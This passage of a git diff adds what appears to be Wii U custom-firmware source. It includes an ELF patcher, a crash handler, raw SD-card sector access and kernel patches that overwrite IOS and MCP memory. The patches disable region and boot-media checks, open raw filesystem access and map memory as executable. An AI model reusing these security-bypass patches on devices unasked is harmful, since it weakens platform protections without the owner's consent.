+#define R_PPC_EMB_NADDR16 102 +#define R_PPC_EMB_NADDR16_LO 103 +#define R_PPC_EMB_NADDR16_HI 104 +#define R_PPC_EMB_NADDR16_HA 105 +#define R_PPC_EMB_SDAI16 106 +#define R_PPC_EMB_SDA2I16 107 +#define R_PPC_EMB_SDA2REL 108 +#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ +#define R_PPC_EMB_MRKREF 110 +#define R_PPC_EMB_RELSEC16 111 +#define R_PPC_EMB_RELST_LO 112 +#define R_PPC_EMB_RELST_HI 113 +#define R_PPC_EMB_RELST_HA 114 +#define R_PPC_EMB_BIT_FLD 115 +#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ + +/* Diab tool relocations. */ +#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ +#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ +#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ +#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ +#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ +#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ + +/* This is a phony reloc to handle any old fashioned TOC16 references + that may still be in object files. */ +#define R_PPC_TOC16 255 + +#endif /* _ELF_H */ diff --git a/source/ios_kernel/source/elf_patcher.c b/source/ios_kernel/source/elf_patcher.c new file mode 100644 index 0000000..8310964 --- /dev/null +++ b/source/ios_kernel/source/elf_patcher.c @@ -0,0 +1,110 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_abi.h" +#include "utils.h" + +static Elf32_Phdr * get_section(u32 data, u32 vaddr) +{ + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; + + if ( !IS_ELF (*ehdr) + || (ehdr->e_type != ET_EXEC) + || (ehdr->e_machine != EM_ARM)) + { + return 0; + } + + Elf32_Phdr *phdr = 0; + + u32 i; + for(i = 0; i < ehdr->e_phnum; i++) + { + phdr = (Elf32_Phdr *) (data + ehdr->e_phoff + ehdr->e_phentsize * i); + + if((vaddr >= phdr[0].p_vaddr) && ((i == ehdr->e_phnum) || (vaddr < phdr[1].p_vaddr))) + { + break; + } + } + return phdr; +} + +void section_write_bss(u32 ios_elf_start, u32 address, u32 size) +{ + Elf32_Phdr *phdr = get_section(ios_elf_start, address); + if(!phdr) + return; + + if((address - phdr->p_vaddr + size) > phdr->p_memsz) + { + phdr->p_memsz = (address - phdr->p_vaddr + size); + } +} + +void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size) +{ + Elf32_Phdr *phdr = get_section(ios_elf_start, address); + if(!phdr) + return; + + u32 *addr = (u32*)(ios_elf_start + address - phdr->p_vaddr + phdr->p_offset); + + if((address - phdr->p_vaddr + size) > phdr->p_filesz) + { + u32 additionalSize = address - phdr->p_vaddr + size - phdr->p_filesz; + + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) ios_elf_start; + Elf32_Phdr * tmpPhdr; + u32 i; + for(i = (ehdr->e_phnum-1); i >= 0; i--) + { + tmpPhdr = (Elf32_Phdr *) (ios_elf_start + ehdr->e_phoff + ehdr->e_phentsize * i); + + if(phdr->p_offset < tmpPhdr->p_offset) + { + reverse_memcpy((u8*)ios_elf_start + tmpPhdr->p_offset + additionalSize, (u8*)ios_elf_start + tmpPhdr->p_offset, tmpPhdr->p_filesz); + tmpPhdr->p_offset += additionalSize; + } + else { + break; + } + } + phdr->p_filesz += additionalSize; + if(phdr->p_memsz < phdr->p_filesz) + { + phdr->p_memsz = phdr->p_filesz; + } + } + + // in most cases only a word is copied to an aligned address so do a short cut for performance + if(size == 4 && !((unsigned int)addr & 3) && !((unsigned int)data & 3)) + { + *(u32*)addr = *(u32*)data; + } + else + { + kernel_memcpy(addr, data, size); + } +} diff --git a/source/ios_kernel/source/elf_patcher.h b/source/ios_kernel/source/elf_patcher.h new file mode 100644 index 0000000..7f48afc --- /dev/null +++ b/source/ios_kernel/source/elf_patcher.h @@ -0,0 +1,60 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _ELF_PATCHER_H +#define _ELF_PATCHER_H + +#include "types.h" + +#define ARM_B(addr, func) (0xEA000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) // +-32MB +#define ARM_BL(addr, func) (0xEB000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) // +-32MB +#define THUMB_B(addr, func) ((0xE000 | ((((u32)(func) - (u32)(addr) - 4) >> 1) & 0x7FF))) // +-2KB +#define THUMB_BL(addr, func) ((0xF000F800 | ((((u32)(func) - (u32)(addr) - 4) >> 1) & 0x0FFF)) | ((((u32)(func) - (u32)(addr) - 4) << 4) & 0x7FFF000)) // +-4MB + +typedef struct +{ + u32 address; + void* data; + u32 size; +} patch_table_t; + +void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size); +void section_write_bss(u32 ios_elf_start, u32 address, u32 size); + +static inline void section_write_word(u32 ios_elf_start, u32 address, u32 word) +{ + section_write(ios_elf_start, address, &word, sizeof(word)); +} + + +static inline void patch_table_entries(u32 ios_elf_start, const patch_table_t * patch_table, u32 patch_count) +{ + u32 i; + for(i = 0; i < patch_count; i++) + { + section_write(ios_elf_start, patch_table[i].address, patch_table[i].data, patch_table[i].size); + } +} + + +#endif diff --git a/source/ios_kernel/source/exception_handler.c b/source/ios_kernel/source/exception_handler.c new file mode 100644 index 0000000..1ac771f --- /dev/null +++ b/source/ios_kernel/source/exception_handler.c @@ -0,0 +1,62 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "text.h" +#include "types.h" + +void crash_handler(unsigned int *context, int type) +{ + clearScreen(0xFFFFFFFF); + + if(type == 0) + { + _printf(0, 0, "GURU MEDITATION ERROR (prefetch abort)"); + } + else if(type == 1) + { + _printf(0, 0, "GURU MEDITATION ERROR (data abort)"); + } + else + { + _printf(0, 0, "GURU MEDITATION ERROR (undefined instruction)"); + } + + int reg = 0; + while(reg < 16) + { + if(reg < 10) + { + _printf(20, 40 + reg * 20, "r%d = %08X", reg, context[1 + reg]); + } + else + { + _printf(20, 40 + reg * 20, "r%d = %08X", reg, context[1 + reg]); + } + + reg++; + } + + _printf(400, 20, "%08X", *(u32*)context[0x10]); + + for(;;); +} diff --git a/source/ios_kernel/source/exception_handler.h b/source/ios_kernel/source/exception_handler.h new file mode 100644 index 0000000..a3b7094 --- /dev/null +++ b/source/ios_kernel/source/exception_handler.h @@ -0,0 +1,44 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _EXCEPTION_HANDLER_H +#define _EXCEPTION_HANDLER_H + +void crash_handler(unsigned int *context, int type); + +static inline void crash_handler_prefetch(unsigned int *context, int unused1, int unused2) +{ + crash_handler(context, 0); +} + +static inline void crash_handler_data(unsigned int *context, int unused1, int unused2) +{ + crash_handler(context, 1); +} + +static inline void crash_handler_undef_instr(unsigned int *context, int unused1, int unused2) +{ + crash_handler(context, 2); +} + +#endif diff --git a/source/ios_kernel/source/font_bin.h b/source/ios_kernel/source/font_bin.h new file mode 100644 index 0000000..dce9faa --- /dev/null +++ b/source/ios_kernel/source/font_bin.h @@ -0,0 +1,65 @@ +static const unsigned char font_bin[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, + 0x18, 0x00, 0x0c, 0x00, 0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x66, 0x66, 0xff, 0x66, 0xff, 0x66, 0x66, 0x00, 0x18, 0x7c, 0x06, + 0x3c, 0x60, 0x3e, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0c, 0x66, 0x62, + 0x00, 0x3c, 0x66, 0x3c, 0x1c, 0xe6, 0x66, 0xfc, 0x00, 0x18, 0x0c, 0x06, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x18, 0x0c, 0x0c, 0x18, 0x30, 0x00, + 0x00, 0x0c, 0x18, 0x30, 0x30, 0x18, 0x0c, 0x00, 0x00, 0x66, 0x3c, 0xff, + 0x3c, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x3e, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, + 0x00, 0x40, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x76, + 0x6e, 0x66, 0x3c, 0x00, 0x00, 0x18, 0x1c, 0x18, 0x18, 0x18, 0x7e, 0x00, + 0x00, 0x3c, 0x62, 0x30, 0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x62, 0x38, + 0x60, 0x66, 0x3c, 0x00, 0x00, 0x6c, 0x6c, 0x66, 0xfe, 0x60, 0x60, 0x00, + 0x00, 0x7e, 0x06, 0x7e, 0x60, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x06, 0x3e, + 0x66, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x3c, 0x66, 0x3c, 0x66, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x66, 0x7c, + 0x60, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x70, 0x1c, 0x06, + 0x06, 0x1c, 0x70, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x3e, 0x00, 0x00, 0x00, + 0x00, 0x0e, 0x38, 0x60, 0x60, 0x38, 0x0e, 0x00, 0x00, 0x3c, 0x66, 0x30, + 0x18, 0x00, 0x18, 0x00, 0x00, 0x3c, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3c, + 0x00, 0x3c, 0x66, 0x7e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3e, 0x66, 0x3e, + 0x66, 0x66, 0x3e, 0x00, 0x00, 0x3c, 0x66, 0x06, 0x06, 0x66, 0x3c, 0x00, + 0x00, 0x1e, 0x36, 0x66, 0x66, 0x36, 0x1e, 0x00, 0x00, 0x7e, 0x06, 0x1e, + 0x06, 0x06, 0x7e, 0x00, 0x00, 0x3e, 0x06, 0x1e, 0x06, 0x06, 0x06, 0x00, + 0x00, 0x3c, 0x66, 0x06, 0x76, 0x66, 0x3c, 0x00, 0x00, 0x66, 0x66, 0x7e, + 0x66, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, + 0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1c, 0x00, 0x00, 0x66, 0x36, 0x1e, + 0x1e, 0x36, 0x66, 0x00, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7e, 0x00, + 0x00, 0x46, 0x6e, 0x7e, 0x56, 0x46, 0x46, 0x00, 0x00, 0x66, 0x6e, 0x7e, + 0x76, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00, + 0x00, 0x3e, 0x66, 0x3e, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x66, + 0x66, 0x3c, 0x70, 0x00, 0x00, 0x3e, 0x66, 0x3e, 0x1e, 0x36, 0x66, 0x00, + 0x00, 0x3c, 0x66, 0x0c, 0x30, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x18, 0x18, + 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00, + 0x00, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, + 0x7e, 0x6e, 0x46, 0x00, 0x00, 0x66, 0x3c, 0x18, 0x3c, 0x66, 0x66, 0x00, + 0x00, 0x66, 0x66, 0x3c, 0x18, 0x18, 0x18, 0x00, 0x00, 0x7e, 0x30, 0x18, + 0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x3c, + 0x00, 0x06, 0x0c, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3c, 0x30, 0x30, + 0x30, 0x30, 0x30, 0x3c, 0x00, 0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x0c, 0x18, 0x30, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x60, 0x7c, 0x66, 0x7c, 0x00, + 0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x3e, 0x00, 0x00, 0x00, 0x3c, 0x06, + 0x06, 0x06, 0x3c, 0x00, 0x00, 0x60, 0x60, 0x7c, 0x66, 0x66, 0x7c, 0x00, + 0x00, 0x00, 0x3c, 0x66, 0x7e, 0x06, 0x3c, 0x00, 0x00, 0x38, 0x0c, 0x3e, + 0x0c, 0x0c, 0x0c, 0x00, 0x00, 0x00, 0x7c, 0x66, 0x7c, 0x40, 0x3c, 0x00, + 0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1c, + 0x18, 0x18, 0x3c, 0x00, 0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1e, 0x00, + 0x00, 0x06, 0x06, 0x36, 0x1e, 0x36, 0x66, 0x00, 0x00, 0x1c, 0x18, 0x18, + 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x66, 0xfe, 0xfe, 0xd6, 0xc6, 0x00, + 0x00, 0x00, 0x3e, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3c, 0x66, + 0x66, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x3e, 0x66, 0x66, 0x3e, 0x06, 0x00, + 0x00, 0x00, 0x7c, 0x66, 0x66, 0x7c, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x66, + 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7c, 0x06, 0x3c, 0x60, 0x3e, 0x00, + 0x00, 0x18, 0x7e, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, + 0x66, 0x66, 0x7c, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00, + 0x00, 0x00, 0xc6, 0xd6, 0xfe, 0x7c, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x3c, + 0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7c, 0x60, 0x3c, 0x00, + 0x00, 0x00, 0x7e, 0x30, 0x18, 0x0c, 0x7e, 0x00, 0x00, 0x00, 0x18, 0x08, + 0x08, 0x04, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, + 0x00, 0x00, 0x0c, 0x08, 0x08, 0x10, 0x08, 0x08 +}; diff --git a/source/ios_kernel/source/fsa.c b/source/ios_kernel/source/fsa.c new file mode 100644 index 0000000..2fc1216 --- /dev/null +++ b/source/ios_kernel/source/fsa.c @@ -0,0 +1,237 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "utils.h" + +#define svcAlloc ((void *(*)(u32 heapid, u32 size))0x081234E4) +#define svcAllocAlign ((void *(*)(u32 heapid, u32 size, u32 align))0x08123464) +#define svcFree ((void *(*)(u32 heapid, void *ptr))0x08123830) +#define svcOpen ((int (*)(const char* name, int mode))0x0812940C) +#define svcClose ((int (*)(int fd))0x08129368) +#define svcIoctl ((int (*)(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len))0x081290E0) +#define svcIoctlv ((int (*)(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector))0x0812903C) + +typedef struct +{ + void* ptr; + u32 len; + u32 unk; +}iovec_s; + +static void* allocIobuf() +{ + void* ptr = svcAlloc(0xCAFF, 0x828); + kernel_memset(ptr, 0x00, 0x828); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +static int IOS_Open(const char * dev, int mode) +{ + // put string into a good location + char* devStr = (char*)svcAlloc(0xCAFF, 0x20); + if(!devStr) + return -3; + + kernel_strncpy(devStr, dev, 0x20); + + int res = svcOpen(devStr, 0); + + svcFree(0xCAFF, devStr); + + return res; +} + +static int FSA_Open(void) +{ + return IOS_Open("/dev/fsa", 0); +} + +static int FSA_Close(int fd) +{ + return svcClose(fd); +} + +static int FSA_RawOpen(int fd, const char* device_path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + kernel_strncpy((char*)&inbuf[0x01], device_path, 0x27F); + + int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +static int FSA_RawClose(int fd, int device_handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = device_handle; + + int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +static int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + // note : offset_bytes = blocks_offset * size_bytes + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); + + freeIobuf(iobuf); + return ret; +} + +static int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors) +{ + int fsa = FSA_Open(); + if(fsa < 0) + return fsa; + + int fd; + int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd); + if(res < 0) + { + FSA_Close(fsa); + return res; + } + + void *buf = svcAllocAlign(0xCAFF, num_sectors << 9, 0x40); + if(!buf) + { + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + return -2; + } + + res = FSA_RawRead(fsa, buf, 0x200, num_sectors, sector, fd); + + kernel_memcpy(buffer, buf, num_sectors << 9); + + svcFree(0xCAFF, buf); + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + + return res; +} + +int FSA_SDWriteRawSectors(const void *buffer, u32 sector, u32 num_sectors) +{ + int fsa = FSA_Open(); + if(fsa < 0) + return fsa; + + int fd; + int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd); + if(res < 0) + { + FSA_Close(fsa); + return res; + } + + void *buf = svcAllocAlign(0xCAFF, num_sectors << 9, 0x40); + if(!buf) + { + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + return -2; + } + + kernel_memcpy(buf, buffer, num_sectors << 9); + + res = FSA_RawWrite(fsa, buf, 0x200, num_sectors, sector, fd); + + svcFree(0xCAFF, buf); + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + + return res; +} + diff --git a/source/ios_kernel/source/fsa.h b/source/ios_kernel/source/fsa.h new file mode 100644 index 0000000..f86ec57 --- /dev/null +++ b/source/ios_kernel/source/fsa.h @@ -0,0 +1,56 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef FSA_H +#define FSA_H + +#include "types.h" + +#define NAND_DUMP_SIGNATURE_SECTOR 0x01 +#define NAND_MAX_DESC_TYPES 5 + +#define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP + +#define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC ' +#define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2' +#define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC ' +#define NAND_DESC_TYPE_SEEPROM 0x45455052 // 'EEPR' +#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP ' + +typedef struct _stdio_nand_desc_t +{ + u32 nand_type; // nand type + u32 base_sector; // base sector of dump + u32 sector_count; // sector count in SDIO sectors +} __attribute__((packed))stdio_nand_desc_t; + +typedef struct _sdio_nand_signature_sector_t +{ + u64 signature; // HAXXDUMP + stdio_nand_desc_t nand_descriptions[NAND_MAX_DESC_TYPES]; +} __attribute__((packed)) sdio_nand_signature_sector_t; + +int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors); +int FSA_SDWriteRawSectors(const void *buffer, u32 sector, u32 num_sectors); + +#endif diff --git a/source/ios_kernel/source/instant_patches.c b/source/ios_kernel/source/instant_patches.c new file mode 100644 index 0000000..0aa8a0c --- /dev/null +++ b/source/ios_kernel/source/instant_patches.c @@ -0,0 +1,111 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "utils.h" +#include "types.h" +#include "elf_patcher.h" +#include "kernel_patches.h" +#include "ios_mcp_patches.h" +#include "../../ios_mcp/ios_mcp_syms.h" + +typedef struct { + u32 paddr; + u32 vaddr; + u32 size; + u32 domain; + u32 type; + u32 cached; +} ios_map_shared_info_t; + +#define mcp_rodata_phys(addr) ((u32)(addr) - 0x05060000 + 0x08220000) +#define mcp_data_phys(addr) ((u32)(addr) - 0x05074000 + 0x08234000) +#define acp_phys(addr) ((u32)(addr) - 0xE0000000 + 0x12900000) + +void instant_patches_setup(void) { + // apply IOS ELF launch hook + *(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios); + + // patch FSA raw access + *(volatile u32*)0x1070FAE8 = 0x05812070; + *(volatile u32*)0x1070FAEC = 0xEAFFFFF9; + + int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88; + + // patch kernel dev node registration + *(volatile u32*)0x081430B4 = 1; + + // fix 10 minute timeout that crashes MCP after 10 minutes of booting + *(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT + + // start our MCP thread directly on first title change + kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000); + *(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread); + + // allow custom bootLogoTex and bootMovie.h264 + *(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + // allow any region title launch + *(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + *(volatile u32*)(0x050254D6 - 0x05000000 + 0x081C0000) = (volatile u32*)THUMB_BL(0x050254D6, MCP_LoadFile_patch); + *(volatile u32*)(0x05025242 - 0x05000000 + 0x081C0000) = (volatile u32*)THUMB_BL(0x05025242, MCP_ioctl100_patch); + + // change system.xml to syshax.xml + /* + *(volatile u32*)mcp_rodata_phys(0x050600F0) = 0x79736861; // ysha + *(volatile u32*)mcp_rodata_phys(0x050600F4) = 0x782E786D; // x.xm + + *(volatile u32*)mcp_rodata_phys(0x05060114) = 0x79736861; // ysha + *(volatile u32*)mcp_rodata_phys(0x05060118) = 0x782E786D; // x.xm + */ + + // patch default title id to system menu + *(volatile u32*)mcp_data_phys(0x050B817C) = *(volatile u32*)0x0017FFF0; + *(volatile u32*)mcp_data_phys(0x050B8180) = *(volatile u32*)0x0017FFF4; + + // force check USB storage on load + *(volatile u32*)acp_phys(0xE012202C) = 0x00000001; // find USB flag + + // set zero to start thread directly on first title change + *(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0; + // down display launch image at this state + *(volatile u32*)(_text_start - 4 - 0x05100000 + 0x13D80000) = 0; + + ios_map_shared_info_t map_info; + map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000; + map_info.vaddr = 0x050BD000; + map_info.size = 0x3000; + map_info.domain = 1; // MCP + map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read/write + map_info.cached = 0xFFFFFFFF; + _iosMapSharedUserExecution(&map_info); // actually a bss section but oh well it will have read/write + + map_info.paddr = 0x05116000 - 0x05100000 + 0x13D80000; + map_info.vaddr = 0x05116000; + 